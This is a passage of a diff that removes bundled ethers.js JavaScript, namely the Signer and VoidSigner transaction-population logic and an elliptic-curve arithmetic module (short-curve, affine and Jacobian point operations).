- return yield this.provider.resolveName(name); - }); - } - // Checks a transaction does not contain invalid keys and if - // no "from" is provided, populates it. - // - does NOT require a provider - // - adds "from" is not present - // - returns a COPY (safe to mutate the result) - // By default called from: (overriding these prevents it) - // - call - // - estimateGas - // - populateTransaction (and therefor sendTransaction) - checkTransaction(transaction) { - for (const key3 in transaction) { - if (allowedTransactionKeys3.indexOf(key3) === -1) { - logger35.throwArgumentError("invalid transaction key: " + key3, "transaction", transaction); - } - } - const tx = shallowCopy2(transaction); - if (tx.from == null) { - tx.from = this.getAddress(); - } else { - tx.from = Promise.all([ - Promise.resolve(tx.from), - this.getAddress() - ]).then((result) => { - if (result[0].toLowerCase() !== result[1].toLowerCase()) { - logger35.throwArgumentError("from address mismatch", "transaction", transaction); - } - return result[0]; - }); - } - return tx; - } - // Populates ALL keys for a transaction and checks that "from" matches - // this Signer. Should be used by sendTransaction but NOT by signTransaction. - // By default called from: (overriding these prevents it) - // - sendTransaction - // - // Notes: - // - We allow gasPrice for EIP-1559 as long as it matches maxFeePerGas - populateTransaction(transaction) { - return __awaiter19(this, void 0, void 0, function* () { - const tx = yield resolveProperties2(this.checkTransaction(transaction)); - if (tx.to != null) { - tx.to = Promise.resolve(tx.to).then((to) => __awaiter19(this, void 0, void 0, function* () { - if (to == null) { - return null; - } - const address = yield this.resolveName(to); - if (address == null) { - logger35.throwArgumentError("provided ENS name resolves to null", "tx.to", to); - } - return address; - })); - tx.to.catch((error) => { - }); - } - const hasEip1559 = tx.maxFeePerGas != null || tx.maxPriorityFeePerGas != null; - if (tx.gasPrice != null && (tx.type === 2 || hasEip1559)) { - logger35.throwArgumentError("eip-1559 transaction do not support gasPrice", "transaction", transaction); - } else if ((tx.type === 0 || tx.type === 1) && hasEip1559) { - logger35.throwArgumentError("pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "transaction", transaction); - } - if ((tx.type === 2 || tx.type == null) && (tx.maxFeePerGas != null && tx.maxPriorityFeePerGas != null)) { - tx.type = 2; - } else if (tx.type === 0 || tx.type === 1) { - if (tx.gasPrice == null) { - tx.gasPrice = this.getGasPrice(); - } - } else { - const feeData = yield this.getFeeData(); - if (tx.type == null) { - if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { - tx.type = 2; - if (tx.gasPrice != null) { - const gasPrice = tx.gasPrice; - delete tx.gasPrice; - tx.maxFeePerGas = gasPrice; - tx.maxPriorityFeePerGas = gasPrice; - } else { - if (tx.maxFeePerGas == null) { - tx.maxFeePerGas = feeData.maxFeePerGas; - } - if (tx.maxPriorityFeePerGas == null) { - tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; - } - } - } else if (feeData.gasPrice != null) { - if (hasEip1559) { - logger35.throwError("network does not support EIP-1559", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "populateTransaction" - }); - } - if (tx.gasPrice == null) { - tx.gasPrice = feeData.gasPrice; - } - tx.type = 0; - } else { - logger35.throwError("failed to get consistent fee data", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "signer.getFeeData" - }); - } - } else if (tx.type === 2) { - if (tx.maxFeePerGas == null) { - tx.maxFeePerGas = feeData.maxFeePerGas; - } - if (tx.maxPriorityFeePerGas == null) { - tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; - } - } - } - if (tx.nonce == null) { - tx.nonce = this.getTransactionCount("pending"); - } - if (tx.gasLimit == null) { - tx.gasLimit = this.estimateGas(tx).catch((error) => { - if (forwardErrors2.indexOf(error.code) >= 0) { - throw error; - } - return logger35.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger2.errors.UNPREDICTABLE_GAS_LIMIT, { - error, - tx - }); - }); - } - if (tx.chainId == null) { - tx.chainId = this.getChainId(); - } else { - tx.chainId = Promise.all([ - Promise.resolve(tx.chainId), - this.getChainId() - ]).then((results) => { - if (results[1] !== 0 && results[0] !== results[1]) { - logger35.throwArgumentError("chainId address mismatch", "transaction", transaction); - } - return results[0]; - }); - } - return yield resolveProperties2(tx); - }); - } - /////////////////// - // Sub-classes SHOULD leave these alone - _checkProvider(operation) { - if (!this.provider) { - logger35.throwError("missing provider", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: operation || "_checkProvider" - }); - } - } - static isSigner(value) { - return !!(value && value._isSigner); - } - }; - var VoidSigner = class _VoidSigner extends Signer2 { - constructor(address, provider) { - super(); - defineReadOnly2(this, "address", address); - defineReadOnly2(this, "provider", provider || null); - } - getAddress() { - return Promise.resolve(this.address); - } - _fail(message, operation) { - return Promise.resolve().then(() => { - logger35.throwError(message, Logger2.errors.UNSUPPORTED_OPERATION, { operation }); - }); - } - signMessage(message) { - return this._fail("VoidSigner cannot sign messages", "signMessage"); - } - signTransaction(transaction) { - return this._fail("VoidSigner cannot sign transactions", "signTransaction"); - } - _signTypedData(domain, types, value) { - return this._fail("VoidSigner cannot sign typed data", "signTypedData"); - } - connect(provider) { - return new _VoidSigner(this.address, provider); - } - }; - - // node_modules/@ethersproject/signing-key/lib.esm/elliptic.js - var import_bn4 = __toESM(require_bn2()); - var import_hash4 = __toESM(require_hash2()); - function createCommonjsModule2(fn, basedir, module) { - return module = { - path: basedir, - exports: {}, - require: function(path, base3) { - return commonjsRequire2(path, base3 === void 0 || base3 === null ? module.path : base3); - } - }, fn(module, module.exports), module.exports; - } - function commonjsRequire2() { - throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs"); - } - var minimalisticAssert2 = assert2; - function assert2(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - assert2.equal = function assertEqual2(l, r3, msg) { - if (l != r3) - throw new Error(msg || "Assertion failed: " + l + " != " + r3); - }; - var utils_12 = createCommonjsModule2(function(module, exports) { - "use strict"; - var utils = exports; - function toArray3(msg, enc) { - if (Array.isArray(msg)) - return msg.slice(); - if (!msg) - return []; - var res = []; - if (typeof msg !== "string") { - for (var i = 0; i < msg.length; i++) - res[i] = msg[i] | 0; - return res; - } - if (enc === "hex") { - msg = msg.replace(/[^a-z0-9]+/ig, ""); - if (msg.length % 2 !== 0) - msg = "0" + msg; - for (var i = 0; i < msg.length; i += 2) - res.push(parseInt(msg[i] + msg[i + 1], 16)); - } else { - for (var i = 0; i < msg.length; i++) { - var c = msg.charCodeAt(i); - var hi = c >> 8; - var lo = c & 255; - if (hi) - res.push(hi, lo); - else - res.push(lo); - } - } - return res; - } - utils.toArray = toArray3; - function zero2(word) { - if (word.length === 1) - return "0" + word; - else - return word; - } - utils.zero2 = zero2; - function toHex3(msg) { - var res = ""; - for (var i = 0; i < msg.length; i++) - res += zero2(msg[i].toString(16)); - return res; - } - utils.toHex = toHex3; - utils.encode = function encode9(arr, enc) { - if (enc === "hex") - return toHex3(arr); - else - return arr; - }; - }); - var utils_1$12 = createCommonjsModule2(function(module, exports) { - "use strict"; - var utils = exports; - utils.assert = minimalisticAssert2; - utils.toArray = utils_12.toArray; - utils.zero2 = utils_12.zero2; - utils.toHex = utils_12.toHex; - utils.encode = utils_12.encode; - function getNAF3(num, w, bits) { - var naf = new Array(Math.max(num.bitLength(), bits) + 1); - naf.fill(0); - var ws = 1 << w + 1; - var k = num.clone(); - for (var i = 0; i < naf.length; i++) { - var z; - var mod = k.andln(ws - 1); - if (k.isOdd()) { - if (mod > (ws >> 1) - 1) - z = (ws >> 1) - mod; - else - z = mod; - k.isubn(z); - } else { - z = 0; - } - naf[i] = z; - k.iushrn(1); - } - return naf; - } - utils.getNAF = getNAF3; - function getJSF3(k1, k2) { - var jsf = [ - [], - [] - ]; - k1 = k1.clone(); - k2 = k2.clone(); - var d1 = 0; - var d2 = 0; - var m8; - while (k1.cmpn(-d1) > 0 || k2.cmpn(-d2) > 0) { - var m14 = k1.andln(3) + d1 & 3; - var m24 = k2.andln(3) + d2 & 3; - if (m14 === 3) - m14 = -1; - if (m24 === 3) - m24 = -1; - var u1; - if ((m14 & 1) === 0) { - u1 = 0; - } else { - m8 = k1.andln(7) + d1 & 7; - if ((m8 === 3 || m8 === 5) && m24 === 2) - u1 = -m14; - else - u1 = m14; - } - jsf[0].push(u1); - var u2; - if ((m24 & 1) === 0) { - u2 = 0; - } else { - m8 = k2.andln(7) + d2 & 7; - if ((m8 === 3 || m8 === 5) && m14 === 2) - u2 = -m24; - else - u2 = m24; - } - jsf[1].push(u2); - if (2 * d1 === u1 + 1) - d1 = 1 - d1; - if (2 * d2 === u2 + 1) - d2 = 1 - d2; - k1.iushrn(1); - k2.iushrn(1); - } - return jsf; - } - utils.getJSF = getJSF3; - function cachedProperty(obj, name, computer) { - var key3 = "_" + name; - obj.prototype[name] = function cachedProperty2() { - return this[key3] !== void 0 ? this[key3] : this[key3] = computer.call(this); - }; - } - utils.cachedProperty = cachedProperty; - function parseBytes(bytes) { - return typeof bytes === "string" ? utils.toArray(bytes, "hex") : bytes; - } - utils.parseBytes = parseBytes; - function intFromLE(bytes) { - return new import_bn4.default(bytes, "hex", "le"); - } - utils.intFromLE = intFromLE; - }); - var getNAF2 = utils_1$12.getNAF; - var getJSF2 = utils_1$12.getJSF; - var assert$12 = utils_1$12.assert; - function BaseCurve2(type, conf) { - this.type = type; - this.p = new import_bn4.default(conf.p, 16); - this.red = conf.prime ? import_bn4.default.red(conf.prime) : import_bn4.default.mont(this.p); - this.zero = new import_bn4.default(0).toRed(this.red); - this.one = new import_bn4.default(1).toRed(this.red); - this.two = new import_bn4.default(2).toRed(this.red); - this.n = conf.n && new import_bn4.default(conf.n, 16); - this.g = conf.g && this.pointFromJSON(conf.g, conf.gRed); - this._wnafT1 = new Array(4); - this._wnafT2 = new Array(4); - this._wnafT3 = new Array(4); - this._wnafT4 = new Array(4); - this._bitLength = this.n ? this.n.bitLength() : 0; - var adjustCount = this.n && this.p.div(this.n); - if (!adjustCount || adjustCount.cmpn(100) > 0) { - this.redN = null; - } else { - this._maxwellTrick = true; - this.redN = this.n.toRed(this.red); - } - } - var base2 = BaseCurve2; - BaseCurve2.prototype.point = function point3() { - throw new Error("Not implemented"); - }; - BaseCurve2.prototype.validate = function validate5() { - throw new Error("Not implemented"); - }; - BaseCurve2.prototype._fixedNafMul = function _fixedNafMul2(p, k) { - assert$12(p.precomputed); - var doubles = p._getDoubles(); - var naf = getNAF2(k, 1, this._bitLength); - var I = (1 << doubles.step + 1) - (doubles.step % 2 === 0 ? 2 : 1); - I /= 3; - var repr = []; - var j; - var nafW; - for (j = 0; j < naf.length; j += doubles.step) { - nafW = 0; - for (var l = j + doubles.step - 1; l >= j; l--) - nafW = (nafW << 1) + naf[l]; - repr.push(nafW); - } - var a = this.jpoint(null, null, null); - var b = this.jpoint(null, null, null); - for (var i = I; i > 0; i--) { - for (j = 0; j < repr.length; j++) { - nafW = repr[j]; - if (nafW === i) - b = b.mixedAdd(doubles.points[j]); - else if (nafW === -i) - b = b.mixedAdd(doubles.points[j].neg()); - } - a = a.add(b); - } - return a.toP(); - }; - BaseCurve2.prototype._wnafMul = function _wnafMul2(p, k) { - var w = 4; - var nafPoints = p._getNAFPoints(w); - w = nafPoints.wnd; - var wnd = nafPoints.points; - var naf = getNAF2(k, w, this._bitLength); - var acc = this.jpoint(null, null, null); - for (var i = naf.length - 1; i >= 0; i--) { - for (var l = 0; i >= 0 && naf[i] === 0; i--) - l++; - if (i >= 0) - l++; - acc = acc.dblp(l); - if (i < 0) - break; - var z = naf[i]; - assert$12(z !== 0); - if (p.type === "affine") { - if (z > 0) - acc = acc.mixedAdd(wnd[z - 1 >> 1]); - else - acc = acc.mixedAdd(wnd[-z - 1 >> 1].neg()); - } else { - if (z > 0) - acc = acc.add(wnd[z - 1 >> 1]); - else - acc = acc.add(wnd[-z - 1 >> 1].neg()); - } - } - return p.type === "affine" ? acc.toP() : acc; - }; - BaseCurve2.prototype._wnafMulAdd = function _wnafMulAdd2(defW, points, coeffs, len, jacobianResult) { - var wndWidth = this._wnafT1; - var wnd = this._wnafT2; - var naf = this._wnafT3; - var max = 0; - var i; - var j; - var p; - for (i = 0; i < len; i++) { - p = points[i]; - var nafPoints = p._getNAFPoints(defW); - wndWidth[i] = nafPoints.wnd; - wnd[i] = nafPoints.points; - } - for (i = len - 1; i >= 1; i -= 2) { - var a = i - 1; - var b = i; - if (wndWidth[a] !== 1 || wndWidth[b] !== 1) { - naf[a] = getNAF2(coeffs[a], wndWidth[a], this._bitLength); - naf[b] = getNAF2(coeffs[b], wndWidth[b], this._bitLength); - max = Math.max(naf[a].length, max); - max = Math.max(naf[b].length, max); - continue; - } - var comb = [ - points[a], - /* 1 */ - null, - /* 3 */ - null, - /* 5 */ - points[b] - /* 7 */ - ]; - if (points[a].y.cmp(points[b].y) === 0) { - comb[1] = points[a].add(points[b]); - comb[2] = points[a].toJ().mixedAdd(points[b].neg()); - } else if (points[a].y.cmp(points[b].y.redNeg()) === 0) { - comb[1] = points[a].toJ().mixedAdd(points[b]); - comb[2] = points[a].add(points[b].neg()); - } else { - comb[1] = points[a].toJ().mixedAdd(points[b]); - comb[2] = points[a].toJ().mixedAdd(points[b].neg()); - } - var index2 = [ - -3, - /* -1 -1 */ - -1, - /* -1 0 */ - -5, - /* -1 1 */ - -7, - /* 0 -1 */ - 0, - /* 0 0 */ - 7, - /* 0 1 */ - 5, - /* 1 -1 */ - 1, - /* 1 0 */ - 3 - /* 1 1 */ - ]; - var jsf = getJSF2(coeffs[a], coeffs[b]); - max = Math.max(jsf[0].length, max); - naf[a] = new Array(max); - naf[b] = new Array(max); - for (j = 0; j < max; j++) { - var ja = jsf[0][j] | 0; - var jb = jsf[1][j] | 0; - naf[a][j] = index2[(ja + 1) * 3 + (jb + 1)]; - naf[b][j] = 0; - wnd[a] = comb; - } - } - var acc = this.jpoint(null, null, null); - var tmp = this._wnafT4; - for (i = max; i >= 0; i--) { - var k = 0; - while (i >= 0) { - var zero = true; - for (j = 0; j < len; j++) { - tmp[j] = naf[j][i] | 0; - if (tmp[j] !== 0) - zero = false; - } - if (!zero) - break; - k++; - i--; - } - if (i >= 0) - k++; - acc = acc.dblp(k); - if (i < 0) - break; - for (j = 0; j < len; j++) { - var z = tmp[j]; - p; - if (z === 0) - continue; - else if (z > 0) - p = wnd[j][z - 1 >> 1]; - else if (z < 0) - p = wnd[j][-z - 1 >> 1].neg(); - if (p.type === "affine") - acc = acc.mixedAdd(p); - else - acc = acc.add(p); - } - } - for (i = 0; i < len; i++) - wnd[i] = null; - if (jacobianResult) - return acc; - else - return acc.toP(); - }; - function BasePoint2(curve, type) { - this.curve = curve; - this.type = type; - this.precomputed = null; - } - BaseCurve2.BasePoint = BasePoint2; - BasePoint2.prototype.eq = function eq4() { - throw new Error("Not implemented"); - }; - BasePoint2.prototype.validate = function validate6() { - return this.curve.validate(this); - }; - BaseCurve2.prototype.decodePoint = function decodePoint2(bytes, enc) { - bytes = utils_1$12.toArray(bytes, enc); - var len = this.p.byteLength(); - if ((bytes[0] === 4 || bytes[0] === 6 || bytes[0] === 7) && bytes.length - 1 === 2 * len) { - if (bytes[0] === 6) - assert$12(bytes[bytes.length - 1] % 2 === 0); - else if (bytes[0] === 7) - assert$12(bytes[bytes.length - 1] % 2 === 1); - var res = this.point( - bytes.slice(1, 1 + len), - bytes.slice(1 + len, 1 + 2 * len) - ); - return res; - } else if ((bytes[0] === 2 || bytes[0] === 3) && bytes.length - 1 === len) { - return this.pointFromX(bytes.slice(1, 1 + len), bytes[0] === 3); - } - throw new Error("Unknown point format"); - }; - BasePoint2.prototype.encodeCompressed = function encodeCompressed2(enc) { - return this.encode(enc, true); - }; - BasePoint2.prototype._encode = function _encode4(compact) { - var len = this.curve.p.byteLength(); - var x = this.getX().toArray("be", len); - if (compact) - return [this.getY().isEven() ? 2 : 3].concat(x); - return [4].concat(x, this.getY().toArray("be", len)); - }; - BasePoint2.prototype.encode = function encode8(enc, compact) { - return utils_1$12.encode(this._encode(compact), enc); - }; - BasePoint2.prototype.precompute = function precompute2(power) { - if (this.precomputed) - return this; - var precomputed = { - doubles: null, - naf: null, - beta: null - }; - precomputed.naf = this._getNAFPoints(8); - precomputed.doubles = this._getDoubles(4, power); - precomputed.beta = this._getBeta(); - this.precomputed = precomputed; - return this; - }; - BasePoint2.prototype._hasDoubles = function _hasDoubles2(k) { - if (!this.precomputed) - return false; - var doubles = this.precomputed.doubles; - if (!doubles) - return false; - return doubles.points.length >= Math.ceil((k.bitLength() + 1) / doubles.step); - }; - BasePoint2.prototype._getDoubles = function _getDoubles2(step, power) { - if (this.precomputed && this.precomputed.doubles) - return this.precomputed.doubles; - var doubles = [this]; - var acc = this; - for (var i = 0; i < power; i += step) { - for (var j = 0; j < step; j++) - acc = acc.dbl(); - doubles.push(acc); - } - return { - step, - points: doubles - }; - }; - BasePoint2.prototype._getNAFPoints = function _getNAFPoints2(wnd) { - if (this.precomputed && this.precomputed.naf) - return this.precomputed.naf; - var res = [this]; - var max = (1 << wnd) - 1; - var dbl5 = max === 1 ? null : this.dbl(); - for (var i = 1; i < max; i++) - res[i] = res[i - 1].add(dbl5); - return { - wnd, - points: res - }; - }; - BasePoint2.prototype._getBeta = function _getBeta3() { - return null; - }; - BasePoint2.prototype.dblp = function dblp3(k) { - var r3 = this; - for (var i = 0; i < k; i++) - r3 = r3.dbl(); - return r3; - }; - var inherits_browser2 = createCommonjsModule2(function(module) { - if (typeof Object.create === "function") { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - ctor.prototype = Object.create(superCtor.prototype, { - constructor: { - value: ctor, - enumerable: false, - writable: true, - configurable: true - } - }); - } - }; - } else { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - }; - } - }); - var assert$22 = utils_1$12.assert; - function ShortCurve2(conf) { - base2.call(this, "short", conf); - this.a = new import_bn4.default(conf.a, 16).toRed(this.red); - this.b = new import_bn4.default(conf.b, 16).toRed(this.red); - this.tinv = this.two.redInvm(); - this.zeroA = this.a.fromRed().cmpn(0) === 0; - this.threeA = this.a.fromRed().sub(this.p).cmpn(-3) === 0; - this.endo = this._getEndomorphism(conf); - this._endoWnafT1 = new Array(4); - this._endoWnafT2 = new Array(4); - } - inherits_browser2(ShortCurve2, base2); - var short_12 = ShortCurve2; - ShortCurve2.prototype._getEndomorphism = function _getEndomorphism2(conf) { - if (!this.zeroA || !this.g || !this.n || this.p.modn(3) !== 1) - return; - var beta; - var lambda; - if (conf.beta) { - beta = new import_bn4.default(conf.beta, 16).toRed(this.red); - } else { - var betas = this._getEndoRoots(this.p); - beta = betas[0].cmp(betas[1]) < 0 ? betas[0] : betas[1]; - beta = beta.toRed(this.red); - } - if (conf.lambda) { - lambda = new import_bn4.default(conf.lambda, 16); - } else { - var lambdas = this._getEndoRoots(this.n); - if (this.g.mul(lambdas[0]).x.cmp(this.g.x.redMul(beta)) === 0) { - lambda = lambdas[0]; - } else { - lambda = lambdas[1]; - assert$22(this.g.mul(lambda).x.cmp(this.g.x.redMul(beta)) === 0); - } - } - var basis; - if (conf.basis) { - basis = conf.basis.map(function(vec) { - return { - a: new import_bn4.default(vec.a, 16), - b: new import_bn4.default(vec.b, 16) - }; - }); - } else { - basis = this._getEndoBasis(lambda); - } - return { - beta, - lambda, - basis - }; - }; - ShortCurve2.prototype._getEndoRoots = function _getEndoRoots2(num) { - var red = num === this.p ? this.red : import_bn4.default.mont(num); - var tinv = new import_bn4.default(2).toRed(red).redInvm(); - var ntinv = tinv.redNeg(); - var s = new import_bn4.default(3).toRed(red).redNeg().redSqrt().redMul(tinv); - var l1 = ntinv.redAdd(s).fromRed(); - var l2 = ntinv.redSub(s).fromRed(); - return [l1, l2]; - }; - ShortCurve2.prototype._getEndoBasis = function _getEndoBasis2(lambda) { - var aprxSqrt = this.n.ushrn(Math.floor(this.n.bitLength() / 2)); - var u = lambda; - var v = this.n.clone(); - var x1 = new import_bn4.default(1); - var y1 = new import_bn4.default(0); - var x2 = new import_bn4.default(0); - var y2 = new import_bn4.default(1); - var a0; - var b0; - var a1; - var b1; - var a2; - var b2; - var prevR; - var i = 0; - var r3; - var x; - while (u.cmpn(0) !== 0) { - var q = v.div(u); - r3 = v.sub(q.mul(u)); - x = x2.sub(q.mul(x1)); - var y = y2.sub(q.mul(y1)); - if (!a1 && r3.cmp(aprxSqrt) < 0) { - a0 = prevR.neg(); - b0 = x1; - a1 = r3.neg(); - b1 = x; - } else if (a1 && ++i === 2) { - break; - } - prevR = r3; - v = u; - u = r3; - x2 = x1; - x1 = x; - y2 = y1; - y1 = y; - } - a2 = r3.neg(); - b2 = x; - var len1 = a1.sqr().add(b1.sqr()); - var len2 = a2.sqr().add(b2.sqr()); - if (len2.cmp(len1) >= 0) { - a2 = a0; - b2 = b0; - } - if (a1.negative) { - a1 = a1.neg(); - b1 = b1.neg(); - } - if (a2.negative) { - a2 = a2.neg(); - b2 = b2.neg(); - } - return [ - { a: a1, b: b1 }, - { a: a2, b: b2 } - ]; - }; - ShortCurve2.prototype._endoSplit = function _endoSplit2(k) { - var basis = this.endo.basis; - var v1 = basis[0]; - var v2 = basis[1]; - var c1 = v2.b.mul(k).divRound(this.n); - var c2 = v1.b.neg().mul(k).divRound(this.n); - var p1 = c1.mul(v1.a); - var p2 = c2.mul(v2.a); - var q1 = c1.mul(v1.b); - var q2 = c2.mul(v2.b); - var k1 = k.sub(p1).sub(p2); - var k2 = q1.add(q2).neg(); - return { k1, k2 }; - }; - ShortCurve2.prototype.pointFromX = function pointFromX2(x, odd) { - x = new import_bn4.default(x, 16); - if (!x.red) - x = x.toRed(this.red); - var y2 = x.redSqr().redMul(x).redIAdd(x.redMul(this.a)).redIAdd(this.b); - var y = y2.redSqrt(); - if (y.redSqr().redSub(y2).cmp(this.zero) !== 0) - throw new Error("invalid point"); - var isOdd = y.fromRed().isOdd(); - if (odd && !isOdd || !odd && isOdd) - y = y.redNeg(); - return this.point(x, y); - }; - ShortCurve2.prototype.validate = function validate7(point5) { - if (point5.inf) - return true; - var x = point5.x; - var y = point5.y; - var ax = this.a.redMul(x); - var rhs = x.redSqr().redMul(x).redIAdd(ax).redIAdd(this.b); - return y.redSqr().redISub(rhs).cmpn(0) === 0; - }; - ShortCurve2.prototype._endoWnafMulAdd = function _endoWnafMulAdd2(points, coeffs, jacobianResult) { - var npoints = this._endoWnafT1; - var ncoeffs = this._endoWnafT2; - for (var i = 0; i < points.length; i++) { - var split = this._endoSplit(coeffs[i]); - var p = points[i]; - var beta = p._getBeta(); - if (split.k1.negative) { - split.k1.ineg(); - p = p.neg(true); - } - if (split.k2.negative) { - split.k2.ineg(); - beta = beta.neg(true); - } - npoints[i * 2] = p; - npoints[i * 2 + 1] = beta; - ncoeffs[i * 2] = split.k1; - ncoeffs[i * 2 + 1] = split.k2; - } - var res = this._wnafMulAdd(1, npoints, ncoeffs, i * 2, jacobianResult); - for (var j = 0; j < i * 2; j++) { - npoints[j] = null; - ncoeffs[j] = null; - } - return res; - }; - function Point2(curve, x, y, isRed) { - base2.BasePoint.call(this, curve, "affine"); - if (x === null && y === null) { - this.x = null; - this.y = null; - this.inf = true; - } else { - this.x = new import_bn4.default(x, 16); - this.y = new import_bn4.default(y, 16); - if (isRed) { - this.x.forceRed(this.curve.red); - this.y.forceRed(this.curve.red); - } - if (!this.x.red) - this.x = this.x.toRed(this.curve.red); - if (!this.y.red) - this.y = this.y.toRed(this.curve.red); - this.inf = false; - } - } - inherits_browser2(Point2, base2.BasePoint); - ShortCurve2.prototype.point = function point4(x, y, isRed) { - return new Point2(this, x, y, isRed); - }; - ShortCurve2.prototype.pointFromJSON = function pointFromJSON2(obj, red) { - return Point2.fromJSON(this, obj, red); - }; - Point2.prototype._getBeta = function _getBeta4() { - if (!this.curve.endo) - return; - var pre = this.precomputed; - if (pre && pre.beta) - return pre.beta; - var beta = this.curve.point(this.x.redMul(this.curve.endo.beta), this.y); - if (pre) { - var curve = this.curve; - var endoMul = function(p) { - return curve.point(p.x.redMul(curve.endo.beta), p.y); - }; - pre.beta = beta; - beta.precomputed = { - beta: null, - naf: pre.naf && { - wnd: pre.naf.wnd, - points: pre.naf.points.map(endoMul) - }, - doubles: pre.doubles && { - step: pre.doubles.step, - points: pre.doubles.points.map(endoMul) - } - }; - } - return beta; - }; - Point2.prototype.toJSON = function toJSON3() { - if (!this.precomputed) - return [this.x, this.y]; - return [this.x, this.y, this.precomputed && { - doubles: this.precomputed.doubles && { - step: this.precomputed.doubles.step, - points: this.precomputed.doubles.points.slice(1) - }, - naf: this.precomputed.naf && { - wnd: this.precomputed.naf.wnd, - points: this.precomputed.naf.points.slice(1) - } - }]; - }; - Point2.fromJSON = function fromJSON2(curve, obj, red) { - if (typeof obj === "string") - obj = JSON.parse(obj); - var res = curve.point(obj[0], obj[1], red); - if (!obj[2]) - return res; - function obj2point(obj2) { - return curve.point(obj2[0], obj2[1], red); - } - var pre = obj[2]; - res.precomputed = { - beta: null, - doubles: pre.doubles && { - step: pre.doubles.step, - points: [res].concat(pre.doubles.points.map(obj2point)) - }, - naf: pre.naf && { - wnd: pre.naf.wnd, - points: [res].concat(pre.naf.points.map(obj2point)) - } - }; - return res; - }; - Point2.prototype.inspect = function inspect4() { - if (this.isInfinity()) - return ""; - return ""; - }; - Point2.prototype.isInfinity = function isInfinity3() { - return this.inf; - }; - Point2.prototype.add = function add3(p) { - if (this.inf) - return p; - if (p.inf) - return this; - if (this.eq(p)) - return this.dbl(); - if (this.neg().eq(p)) - return this.curve.point(null, null); - if (this.x.cmp(p.x) === 0) - return this.curve.point(null, null); - var c = this.y.redSub(p.y); - if (c.cmpn(0) !== 0) - c = c.redMul(this.x.redSub(p.x).redInvm()); - var nx = c.redSqr().redISub(this.x).redISub(p.x); - var ny = c.redMul(this.x.redSub(nx)).redISub(this.y); - return this.curve.point(nx, ny); - }; - Point2.prototype.dbl = function dbl3() { - if (this.inf) - return this; - var ys1 = this.y.redAdd(this.y); - if (ys1.cmpn(0) === 0) - return this.curve.point(null, null); - var a = this.curve.a; - var x2 = this.x.redSqr(); - var dyinv = ys1.redInvm(); - var c = x2.redAdd(x2).redIAdd(x2).redIAdd(a).redMul(dyinv); - var nx = c.redSqr().redISub(this.x.redAdd(this.x)); - var ny = c.redMul(this.x.redSub(nx)).redISub(this.y); - return this.curve.point(nx, ny); - }; - Point2.prototype.getX = function getX2() { - return this.x.fromRed(); - }; - Point2.prototype.getY = function getY2() { - return this.y.fromRed(); - }; - Point2.prototype.mul = function mul3(k) { - k = new import_bn4.default(k, 16); - if (this.isInfinity()) - return this; - else if (this._hasDoubles(k)) - return this.curve._fixedNafMul(this, k); - else if (this.curve.endo) - return this.curve._endoWnafMulAdd([this], [k]); - else - return this.curve._wnafMul(this, k); - }; - Point2.prototype.mulAdd = function mulAdd2(k1, p2, k2) { - var points = [this, p2]; - var coeffs = [k1, k2]; - if (this.curve.endo) - return this.curve._endoWnafMulAdd(points, coeffs); - else - return this.curve._wnafMulAdd(1, points, coeffs, 2); - }; - Point2.prototype.jmulAdd = function jmulAdd2(k1, p2, k2) { - var points = [this, p2]; - var coeffs = [k1, k2]; - if (this.curve.endo) - return this.curve._endoWnafMulAdd(points, coeffs, true); - else - return this.curve._wnafMulAdd(1, points, coeffs, 2, true); - }; - Point2.prototype.eq = function eq5(p) { - return this === p || this.inf === p.inf && (this.inf || this.x.cmp(p.x) === 0 && this.y.cmp(p.y) === 0); - }; - Point2.prototype.neg = function neg3(_precompute) { - if (this.inf) - return this; - var res = this.curve.point(this.x, this.y.redNeg()); - if (_precompute && this.precomputed) { - var pre = this.precomputed; - var negate = function(p) { - return p.neg(); - }; - res.precomputed = { - naf: pre.naf && { - wnd: pre.naf.wnd, - points: pre.naf.points.map(negate) - }, - doubles: pre.doubles && { - step: pre.doubles.step, - points: pre.doubles.points.map(negate) - } - }; - } - return res; - }; - Point2.prototype.toJ = function toJ2() { - if (this.inf) - return this.curve.jpoint(null, null, null); - var res = this.curve.jpoint(this.x, this.y, this.curve.one); - return res; - }; - function JPoint2(curve, x, y, z) { - base2.BasePoint.call(this, curve, "jacobian"); - if (x === null && y === null && z === null) { - this.x = this.curve.one; - this.y = this.curve.one; - this.z = new import_bn4.default(0); - } else { - this.x = new import_bn4.default(x, 16); - this.y = new import_bn4.default(y, 16); - this.z = new import_bn4.default(z, 16); - } - if (!this.x.red) - this.x = this.x.toRed(this.curve.red); - if (!this.y.red) - this.y = this.y.toRed(this.curve.red); - if (!this.z.red) - this.z = this.z.toRed(this.curve.red); - this.zOne = this.z === this.curve.one; - } - inherits_browser2(JPoint2, base2.BasePoint); - ShortCurve2.prototype.jpoint = function jpoint2(x, y, z) { - return new JPoint2(this, x, y, z); - }; - JPoint2.prototype.toP = function toP2() { - if (this.isInfinity()) - return this.curve.point(null, null); - var zinv = this.z.redInvm(); - var zinv2 = zinv.redSqr(); - var ax = this.x.redMul(zinv2); - var ay = this.y.redMul(zinv2).redMul(zinv); - return this.curve.point(ax, ay); - }; - JPoint2.prototype.neg = function neg4() { - return this.curve.jpoint(this.x, this.y.redNeg(), this.z); - }; - JPoint2.prototype.add = function add4(p) { - if (this.isInfinity()) - return p; - if (p.isInfinity()) - return this; - var pz2 = p.z.redSqr(); - var z2 = this.z.redSqr(); - var u1 = this.x.redMul(pz2); - var u2 = p.x.redMul(z2); - var s1 = this.y.redMul(pz2.redMul(p.z)); - var s2 = p.y.redMul(z2.redMul(this.z)); - var h = u1.redSub(u2); - var r3 = s1.redSub(s2); - if (h.cmpn(0) === 0) { - if (r3.cmpn(0) !== 0) - return this.curve.jpoint(null, null, null); - else - return this.dbl(); - } 